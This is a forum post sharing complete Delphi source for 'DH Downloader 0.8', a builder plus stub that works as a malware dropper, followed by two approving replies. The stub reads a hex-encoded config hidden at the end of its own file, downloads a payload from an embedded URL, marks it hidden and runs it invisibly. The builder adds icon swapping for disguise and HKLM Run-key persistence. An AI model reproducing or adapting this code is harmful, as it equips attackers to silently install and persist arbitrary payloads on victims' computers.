[Delphi] DH Downloader 0.8

[Doddy]

A simple downloader made in delphi.

An image :



A video :

- DH Downloader 0.8 - Examples of use -

Source :

USB Mode :

Code: (delphi) [Select]

// DH Downloader 0.8
// (C) Doddy Hackman 2014

unit dh;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
  Vcl.ExtCtrls,
  Vcl.Imaging.pngimage, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, Registry, ShellApi, MadRes;

type
  TForm1 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    GroupBox1: TGroupBox;
    PageControl2: TPageControl;
    TabSheet4: TTabSheet;
    TabSheet5: TTabSheet;
    GroupBox2: TGroupBox;
    Button1: TButton;
    StatusBar1: TStatusBar;
    GroupBox3: TGroupBox;
    Edit1: TEdit;
    GroupBox4: TGroupBox;
    CheckBox1: TCheckBox;
    Edit2: TEdit;
    CheckBox2: TCheckBox;
    Edit3: TEdit;
    TabSheet6: TTabSheet;
    GroupBox5: TGroupBox;
    RadioButton1: TRadioButton;
    RadioButton2: TRadioButton;
    CheckBox3: TCheckBox;
    CheckBox4: TCheckBox;
    CheckBox5: TCheckBox;
    GroupBox6: TGroupBox;
    PageControl3: TPageControl;
    TabSheet7: TTabSheet;
    TabSheet8: TTabSheet;
    TabSheet9: TTabSheet;
    GroupBox7: TGroupBox;
    Edit4: TEdit;
    GroupBox8: TGroupBox;
    Edit5: TEdit;
    GroupBox9: TGroupBox;
    RadioButton3: TRadioButton;
    RadioButton4: TRadioButton;
    TabSheet10: TTabSheet;
    GroupBox10: TGroupBox;
    GroupBox11: TGroupBox;
    Button2: TButton;
    Edit6: TEdit;
    GroupBox12: TGroupBox;
    GroupBox13: TGroupBox;
    ComboBox1: TComboBox;
    GroupBox14: TGroupBox;
    CheckBox6: TCheckBox;
    GroupBox15: TGroupBox;
    Image2: TImage;
    Memo1: TMemo;
    Image3: TImage;
    GroupBox16: TGroupBox;
    Button3: TButton;
    ProgressBar1: TProgressBar;
    IdHTTP1: TIdHTTP;
    OpenDialog1: TOpenDialog;
    GroupBox17: TGroupBox;
    Image1: TImage;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Edit5DblClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

function getfilename(archivo: string): string;
var
  test: TStrings;
begin

  test := TStringList.Create;
  test.Delimiter := '/';
  test.DelimitedText := archivo;
  Result := test[test.Count - 1];

  test.Free;

end;

//

procedure TForm1.Button1Click(Sender: TObject);
var
  filename: string;
  nombrefinal: string;
  addnow: TRegistry;
  archivobajado: TFileStream;

begin

  if not CheckBox1.Checked then
  begin
    filename := Edit1.Text;
    nombrefinal := getfilename(filename);
  end
  else
  begin
    nombrefinal := Edit2.Text;
  end;

  archivobajado := TFileStream.Create(nombrefinal, fmCreate);

  try
    begin
      DeleteFile(nombrefinal);
      IdHTTP1.Get(Edit1.Text, archivobajado);
      StatusBar1.Panels[0].Text := '[+] File Dowloaded';
      StatusBar1.Update;
      archivobajado.Free;
    end;
  except
    StatusBar1.Panels[0].Text := '[-] Failed download';
    StatusBar1.Update;
    archivobajado.Free;
    Abort;
  end;

  if FileExists(nombrefinal) then
  begin

    if CheckBox2.Checked then
    begin
      if not DirectoryExists(Edit3.Text) then
      begin
        CreateDir(Edit3.Text);
      end;
      MoveFile(Pchar(nombrefinal), Pchar(Edit3.Text + '/' + nombrefinal));
      StatusBar1.Panels[0].Text := '[+] File Moved';
      StatusBar1.Update;
    end;

    if CheckBox3.Checked then
    begin
      SetFileAttributes(Pchar(Edit3.Text), FILE_ATTRIBUTE_HIDDEN);
      if CheckBox2.Checked then
      begin
        SetFileAttributes(Pchar(Edit3.Text + '/' + nombrefinal),
          FILE_ATTRIBUTE_HIDDEN);

        StatusBar1.Panels[0].Text := '[+] File Hidden';
        StatusBar1.Update;
      end
      else
      begin
        SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
        StatusBar1.Panels[0].Text := '[+] File Hidden';
        StatusBar1.Update;
      end;
    end;

    if CheckBox4.Checked then
    begin

      addnow := TRegistry.Create;
      addnow.RootKey := HKEY_LOCAL_MACHINE;
      addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

      if CheckBox2.Checked then
      begin
        addnow.WriteString('uber', Edit3.Text + '/' + nombrefinal);
      end
      else
      begin
        addnow.WriteString('uber', ExtractFilePath(Application.ExeName) + '/' +
          nombrefinal);
      end;

      StatusBar1.Panels[0].Text := '[+] Registry Updated';
      StatusBar1.Update;

      addnow.Free;

    end;

    if CheckBox5.Checked then
    begin

      if RadioButton1.Checked then
      begin
        if CheckBox2.Checked then
        begin
          ShellExecute(Handle, 'open', Pchar(Edit3.Text + '/' + nombrefinal),
            nil, nil, SW_SHOWNORMAL);
        end
        else
        begin
          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
            SW_SHOWNORMAL);
        end;
      end
      else
      begin
        if CheckBox2.Checked then
        begin
          ShellExecute(Handle, 'open', Pchar(Edit3.Text + '/' + nombrefinal),
            nil, nil, SW_HIDE);
        end
        else
        begin
          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
        end;
      end;

    end;

    if CheckBox1.Checked or CheckBox2.Checked or CheckBox3.Checked or
      CheckBox4.Checked or CheckBox5.Checked then
    begin
      StatusBar1.Panels[0].Text := '[+] Finished';
      StatusBar1.Update;
    end;

  end;

end;

procedure TForm1.Button2Click(Sender: TObject);
begin

  if OpenDialog1.Execute then
  begin
    Image1.Picture.LoadFromFile(OpenDialog1.filename);
    Edit6.Text := OpenDialog1.filename;
  end;

end;

procedure TForm1.Button3Click(Sender: TObject);
var
  linea: string;
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  marca_uno: string;
  marca_dos: string;
  url: string;
  opcionocultar: string;
  savein: string;
  lineafinal: string;
  stubgenerado: string;
  tipodecarga: string;
  change: DWORD;
  valor: string;

begin

  url := Edit4.Text;
  stubgenerado := 'tiny_down.exe';

  if (RadioButton4.Checked = True) then
  begin
    tipodecarga := '1';
  end
  else
  begin
    tipodecarga := '0';
  end;

  if (CheckBox6.Checked = True) then
  begin
    opcionocultar := '1';
  end
  else
  begin
    opcionocultar := '0';
  end;

  if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
  begin
    savein := 'USERPROFILE';
  end
  else
  begin
    savein := ComboBox1.Items[ComboBox1.ItemIndex];
  end;

  lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
    '[opcion]' + '[path]' + savein + '[path]' + '[name]' + Edit5.Text + '[name]'
    + '[carga]' + tipodecarga + '[carga]';

  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  DeleteFile(stubgenerado);
  CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' +
    'Data/stub_down.exe'), Pchar(ExtractFilePath(Application.ExeName) + '/' +
    stubgenerado), True);

  linea := marca_uno;
  StrCopy(code, Pchar(linea));
  aca := CreateFile(Pchar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  //

  if not(Edit6.Text = '') then
  begin
    try
      begin

        valor := IntToStr(128);

        change := BeginUpdateResourceW
          (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
          stubgenerado)), FALSE);
        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
          PWideChar(wideString(Edit6.Text)));
        EndUpdateResourceW(change, FALSE);
        StatusBar1.Panels[0].Text := '[+] Done ';
        StatusBar1.Update;
      end;
    except
      begin
        StatusBar1.Panels[0].Text := '[-] Error';
        StatusBar1.Update;
      end;
    end;
  end
  else
  begin
    StatusBar1.Panels[0].Text := '[+] Done ';
    StatusBar1.Update;
  end;

  //

end;

procedure TForm1.Edit5DblClick(Sender: TObject);
begin

  if not(Edit4.Text = '') then
  begin
    Edit5.Text := getfilename(Edit4.Text);
  end;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  ProgressBar1.Position := 0;

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog1.Filter := 'ICO|*.ico|';

end;

end.

// The End ?

El stub :

Code: (delphi) [Select]

// DH Downloader 0.8
// (C) Doddy Hackman 2014

// Stub

program stub_down;

// {$APPTYPE CONSOLE}

uses
  SysUtils, Windows, URLMon, ShellApi;

// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

var
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  link: string;
  todo: string;
  opcion: string;
  path: string;
  nombre: string;
  rutafinal: string;
  tipodecarga: string;

begin

  try

    ob := INVALID_HANDLE_VALUE;
    code := '';

    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;

    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');

    link := regex(todo, '[link]', '[link]');
    opcion := regex(todo, '[opcion]', '[opcion]');
    path := regex(todo, '[path]', '[path]');
    nombre := regex(todo, '[name]', '[name]');
    tipodecarga := regex(todo, '[carga]', '[carga]');

    rutafinal := GetEnvironmentVariable(path) + '/' + nombre;

    try

      begin
        UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);

        if (FileExists(rutafinal)) then
        begin

          if (opcion = '1') then
          begin
            SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
          end;

          if (tipodecarga = '1') then
          begin
            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
          end
          else
          begin
            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
          end;
        end;

      end;
    except
      //
    end;

  except
    //
  end;

end.

// The End ?

Available for download here

[ThePH30N1X]

Another neat program. Keep it up!

[Kulverstukas]

Oh boy, it is delighting to see some Pascal/Delphi code once in a while
Keep it up, seems clean and simple.